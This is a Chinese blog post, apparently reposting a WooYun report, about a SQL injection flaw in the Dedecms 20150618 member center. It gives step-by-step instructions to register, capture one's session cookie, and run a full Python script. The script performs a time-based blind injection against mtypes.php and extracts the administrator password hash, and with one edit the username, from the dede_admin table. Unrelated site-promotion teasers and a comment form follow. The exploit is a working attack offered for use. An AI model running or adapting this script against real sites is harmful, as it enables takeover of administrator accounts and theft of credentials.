Dedecms 20150618 注入漏洞(可注入管理员账户)

网站建设评论48

漏洞地址:http://www.wooyun.org/bugs/wooyun-2015-0127787需要修改的地方是cookie ,因为是会员中心的注入首先要能注册,注册完成后添加一个分类如图Dedecms 20150618 注入漏洞(可注入管理员账户)在地址栏输入 javascript:document.write(document.cookie);   得到自己的cookieDedecms 20150618 注入漏洞(可注入管理员账户)得到的cookie 替换脚本中的cookieDedecms 20150618 注入漏洞(可注入管理员账户)就可以愉快的跑密码了Dedecms 20150618 注入漏洞(可注入管理员账户)跑用户名只需要把脚本中的pwd 换成uname就OK了import urllib2import timeopener = urllib2.build_opener()opener.addheaders.append((\'Cookie\', \'PHPSESSID=thr71ua1g91j9d5lf79tr70ri1; DedeUserID=2; DedeUserID__ckMd5=6425e9e8f081fd4b; DedeLoginTime=1450059059; DedeLoginTime__ckMd5=0cae1010080d973a; last_vtime=1449818368; last_vtime__ckMd5=a8cc9e405d9da0bd; last_vid=tmdsb; last_vid__ckMd5=c6de842f1764c614\'))payloads = \'abcdefghijklmnopqrstuvwxyz0123456789@_.\'name = \"\"
 
for i in range(1,21):
 
    for p in payloads:
 
        s1 = \"%s\" %(i)        s2 = \"%s\" %(ord(p))
 
        s = \"http://localhost/d2/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a\'%20and%20`\'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),\"+s1+\",1))%3d\"+s2+\",sleep(3),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx\"
 
        start_time = time.time()
         try: 
            req = urllib2.Request(s)
                        
            req_data=opener.open(req,timeout=10)
 
            if time.time() - start_time > 2.0:
 
                name = name+p
 
                print name+\'.....\'
         except urllib2.URLError,e:
 
             break
 
print \'password is %s\'  % name

 

 
网站收录差?可能建站时这些因素没考虑! 网站建设

网站收录差?可能建站时这些因素没考虑!

1、使用的域名上过“黑名单” 建站之初,大家或多或少也听说过新网址使用老域名会比较哈,在网站排名当中会有一定的优势。当然了,如果老域名有权,而你新站的内容和原来网站的内容相似,你网站的排名就会省事很多...
运营秘籍 | B2B优质文章内容构建实用指南 网站建设

运营秘籍 | B2B优质文章内容构建实用指南

随着外贸自建站的异军突起,内容营销一跃成为跨境电商领域的“最强音”。然而,对于绝大多数的外贸运营人员来讲,如何创作高质量的文章内容,并且以此获取极佳的社媒表现与外链效果,仍然存在较大的盲区。为了深入研...
匿名

发表评论

匿名网友
:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: